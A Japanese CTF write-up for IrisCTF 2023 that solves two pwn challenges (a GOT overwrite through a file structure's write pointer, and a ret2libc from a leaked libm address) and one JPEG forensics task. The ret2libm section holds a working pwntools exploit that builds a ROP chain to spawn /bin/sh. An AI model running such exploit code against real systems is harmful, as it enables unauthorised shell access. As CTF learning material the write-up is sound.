あけましておめでとうございます。
0neP@dding に新メンバーも迎えつつ、 2023 年の CTF 初めとしてIrisCTF 2023に参加しました。
今回もいつもの通り学びのあったポイントだけ簡単に Writeupとしてまとめておきます。
もくじ
Pwn
babyseek
以下のソースコードから生成された問題バイナリが渡されます。
#include <stdlib.h>
#include <stdio.h>
void win() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
// This is just setup
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Your flag is located around %p.\n", win);
FILE* null = fopen("/dev/null", "w");
int pos = 0;
void* super_special = &win;
fwrite("void", 1, 4, null);
printf("I'm currently at %p.\n", null->_IO_write_ptr);
printf("I'll let you write the flag into nowhere!\n");
printf("Where should I seek into? ");
scanf("%d", &pos);
null->_IO_write_ptr += pos;
// print & 'exit@got.plt'
fwrite(&super_special, sizeof(void *), 1, null);
exit(0);
}
ユーザーの操作に依存して挙動が変わりうる箇所はこちらの 2 行のみでしたので、とっかかりとしては明確でした。
構造体 null はfopen("/dev/null", "w");
で生成されたファイルディスクリプタであることがわかっているので、とりあえず_IO_write_ptr
の値を任意に書き換えられる場合にどのような影響が発生するかを調べてみました。
null->_IO_write_ptr += pos;
fwrite(&super_special, sizeof(void *), 1, null);
_IO_write_ptr
はライブラリのソース内でCurrent put pointer
とコメントされていたため、バッファの出力先を指すメンバ変数であることがわかりました。
実際に/dev/stdout
のファイルディスクリプタを作成して_IO_write_ptr
の値をマイナスすると前の文字を上書きするようになることを確認しました。
ここで、_IO_write_ptr
のアドレスを任意に変更できるため、Flag を取得するための win 関数のアドレスが格納された&super_special
を任意のメモリに書き込めることがわかります。
ソースコードを見ると、exit(0);
が初めて呼ばれていることがわかります。
fwrite(&super_special, sizeof(void *), 1, null);
exit(0);
ELF ではライブラリ関数は遅延バインドされているため、最初に関数が呼び出される際には.plt
セクションのエントリが参照され、GOT(XXX@got.plt
) にジャンプする挙動になります。
参考:GOT/PLTを経由したライブラリ関数呼び出しの流れを追う
この時、exit 関数の呼び出し時に参照される.plt
セクションのエントリに埋め込まれた GOT のアドレスを win 関数のアドレスに置き換えるように_IO_write_ptr
を調整することで、Flag を取得することができます。
しかし、このエクスプロイトを行うためには問題サーバで実行されたプロセスから.plt
セクションのアドレスを特定する必要があります。
幸いなことに、プログラム実行時には以下の行で win 関数とnull->_IO_write_ptr
のアドレスがリークされています。
printf("Your flag is located around %p.\n", win);
printf("I'm currently at %p.\n", null->_IO_write_ptr);
この時、gdb-peda でprint & 'exit@got.plt'
コマンドを叩いて特定したアドレスと win 関数のアドレスの相対位置は不変のため、リークされた win 関数のアドレスから exit 関数の GOT テーブルのアドレスを特定できます。
gdb-peda$ print & 'exit@got.plt'
$1 = (<text from jump slot in .got.plt, no debug info> *) 0x555555557468 <exit@got[plt]>
最後に、特定した exit 関数の GOT テーブルのアドレスを指すようにnull->_IO_write_ptr
の値が変更される入力値を与えることで Flag を取得することができました。
ret2libm
以下のような問題バイナリが与えられました。
問題バイナリ自体は非常にシンプルで、gets(yours);
の行に自明な BoF の脆弱性があることがわかります。
#include <math.h>
#include <stdio.h>
// gcc -fno-stack-protector -lm
int main(int argc, char* argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char yours[8];
printf("Check out my pecs: %p\n", fabs);
printf("How about yours? ");
gets(yours);
printf("Let's see how they stack up.");
return 0;
}
また、今回は libm で定義されている fab 関数のアドレスがprintf("Check out my pecs: %p\n", fabs);
でリークされています。
ここから、リークされた libm 内の fab 関数のアドレスを元に libc のアドレスを特定して ret2libc でシェルを取得する方針としました。
まずは BoF でインジェクションするために、 gdb と msf-pattern_offset を使って、RSP のインジェクションまでのバイト値が 16 であることを特定しました。
# gdb と msf-pattern_offset を使って、RSP のインジェクションまでのバイト値が 16 であることを特定する
$ msf-pattern_create -l 100
$ msf-pattern_offset -q a5Aa
[*] Exact match at offset 16
次に、gdb のinfo sharedlibrary
を使って実行時にロードされるアドレスを参照します。
$ info sharedlibrary
From To Syms Read Shared Object Library
0x00007f861b03cf10 0x00007f861b05d550 Yes /lib64/ld-linux-x86-64.so.2
0x00007f861aca9a80 0x00007f861ad681d5 Yes /lib/x86_64-linux-gnu/libm.so.6
0x00007f861a8ce360 0x00007f861aa46afc Yes /lib/x86_64-linux-gnu/libc.so.6
$ x/16c 0x00007f861aca9a80
0x7f861aca9a80 <atan2Mp>: 0x41 0x57 0x41 0x56 0x4c 0x8d 0xd 0xd5
$ x/16c 0x00007f861a8ce360
0x7f861a8ce360 <__libgcc_s_init>: 0x55 0x53 0x48 0x8d 0x3d 0x7d 0x23 0x19
info sharedlibrary
の From に表示されるアドレスには、ロードされる libm.so と libc.so それぞれの .text セクションが配置されています。
Ghidra や readelf などで参照した .text セクションのオフセットの関数を調べると、ロードされているアドレスと一致することがわかります。
- libm.so 内の atan2Mp(0x00007f861aca9a80)
また、この時ロードされる libm.so と libc.so のアドレスの相対位置は、PIE が有効な場合でも不変です。
つまり、リークされている fab のアドレスから libm.so の先頭アドレスを計算することで、最終的に libc.so の先頭アドレスを取得できることがわかります。
ここまでわかれば後は典型的な ret2libc の問題になるので、与えられているライブラリファイルから system 関数と “/bin/sh” のオフセットを特定することで最終的にすべての情報を収集できます。
# ライブラリ関数がロードされるアドレスを特定
$ info sharedlibrary
From To Syms Read Shared Object Library
0x00007f97469fdf10 0x00007f9746a1e550 Yes /lib64/ld-linux-x86-64.so.2
0x00007f974666aa80 0x00007f97467291d5 Yes /lib/x86_64-linux-gnu/libm.so.6
0x00007f974628f360 0x00007f9746407afc Yes /lib/x86_64-linux-gnu/libc.so.6
# system 関数のアドレスを特定
$ p system
0x7f97462bd420 <__libc_system>
# "/bin/sh" のアドレスを特定
$ find "/bin/sh" libc
libc : 0x7f8659807d88 --> 0x68732f6e69622f ('/bin/sh')
# libc 内から ROP ガジェットを探索
$ ropsearch "pop rdi" libc
Searching
0x00007f9746355873
# アラインメントの調整のため、ret を返す ROP ガジェットを探索
$ ropsearch "ret" libc
Searching
0x00007f97462c0528
# 実行時にリークされた fabs のアドレス
Check out my pecs: 0x7f9746690cf0
実際に上記の情報を元に各アドレスの差分を計算することで、リークされた fabs の関数から ret2libc に必要なすべてのアドレスを特定することができました。
atan2Mp=fab-156272
libgcc_init=atan2Mp-4044576
sysaddr=libgcc_init+188608
str_bin_sh=libgcc_init+1649192
pop_rdi=libgcc_init+63083
ret=libgcc_init+201160
ここからペイロードを構築していきます。
今回は問題サーバと同じバージョンのライブラリを使用するために Docker コンテナ内でデバッグを行いました。
そのため、 Docker コンテナ側で事前に gdbserver と tmux をインストールして起動しておきます。
これは、Docker コンテナ内で pwntools で生成したペイロード送信時のデバッグを行うために必要です。
sudo apt install gdb gdbserver tmux -y
# tmux の起動
tmux
参考:Running pwntools gdb debug feature inside Docker containers
最終的に作成したスクリプトは以下です。
# sudo apt install gdb gdbserver
# sudo apt install tmux
# https://gist.github.com/turekt/71f6950bc9f048daaeb69479845b672b
from pwn import *
binary_path = "./chal"
elf = context.binary = ELF(binary_path)
context(terminal=['tmux', 'split-window', '-h'])
# running
io = gdb.debug(binary_path, '''
break *(main+153)
''')
# io.remote("addr", 42072)
recv = io.recvline()
fab = int(recv[len("Check out my pecs: "):-1].decode(),16)
payload = b''
payload = b'\x41'*16
atan2Mp=fab-156272
libgcc_init=atan2Mp-4044576
sysaddr=libgcc_init+188608
str_bin_sh=libgcc_init+1649192
pop_rdi=libgcc_init+63083
ret=libgcc_init+201160
payload = b""
payload += b"\x41"*16
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(str_bin_sh)
payload += p64(sysaddr)
print("fab: {}".format(hex(fab)))
print("libgcc_init: {}".format(hex(libgcc_init)))
print("sysaddr: {}".format(hex(sysaddr)))
print("str_bin_sh: {}".format(hex(str_bin_sh)))
print("pop_rdi: {}".format(hex(pop_rdi)))
print("ret: {}".format(hex(ret)))
io.sendline(payload)
recv = io.recv()
io.interactive()
Forensic
babyforens
破損した JPG ファイルが与えられました。
この中から、以下の情報を収取する必要がありました。
- 撮影場所の緯度・経度を 10 進数変換した値
- 撮影日時の UNIX 時間
- カメラのシリアルナンバー
- 画像に埋め込まれた文字列
問題自体は簡単だったはずなのですが、深読みしすぎて無駄に時間をつかってしまった問題でした。
まず、撮影場所の緯度・経度と時刻、シリアルナンバーについては exiftool で簡単に取得することができます。
緯度と経度を 10 進数に変換する際には以下のサイトを使用させてもらいました。
参考:【みんなの知識 ちょっと便利帳】緯度・経度の、10進数と60進数(度分秒)の変換 - 文字だけでのシンプル変換
また、UNIX 時間については一つ罠があり、 Exif から参照したタイムゾーンで計算する必要がありました。
参考:Time zone list / Epoch to time zone converter
UNIX 時間は計算上うるう秒を無視するため、時刻を UTC に変換してから UNIX 時間を計算すると、タイムゾーンを変更せずに UNIX 時間を計算した場合と比較して計算結果が変わってしまう点に注意が必要でした。
※ 他の方の Writeup を参照したところ、うるう秒云々ではなくサマータイムの考慮が必要だったようです。
最後に画像に埋め込まれた文字列ですが、始めは破損した JPG ファイル内のデータからスタートマーカーFF D8
で始まりエンドマーカーFF D9
で終わる範囲のデータを JFIF ファイルとして抽出する方法を考えました。
dd if=./IMG_0917.jpg of=./out.jfif bs=1 skip=10934
参考:JPEG画像の「中身」は一体どうなっているのか? - GIGAZINE
この時、画像自体は取得することができたのですが、(恐らく圧縮されてしまっているため?)不鮮明な画像になってしまい読むことができませんでした。
しばらくサイズや解像度の変更などを試していたのですが上手くいかず、最終的に画像の破損を修復する方向で考えることにしました。
色々調べてみると、どうやら破損していたのは画像のスタートマーカーの部分であることがわかったので、バイナリエディタを使用して適切な値に書き換えてあげることで、シークレットの文字列を特定し、 Flag を取得することができました。
まとめ
今回解いたのはどれも入門的な問題だったので解法自体はスムーズに思いつきましたが、色々とスキル不足で Flag の取得に結構手間取ってしまいました。
今年もコツコツ CTF をやっていければと思いますので今年もよろしくお願いします。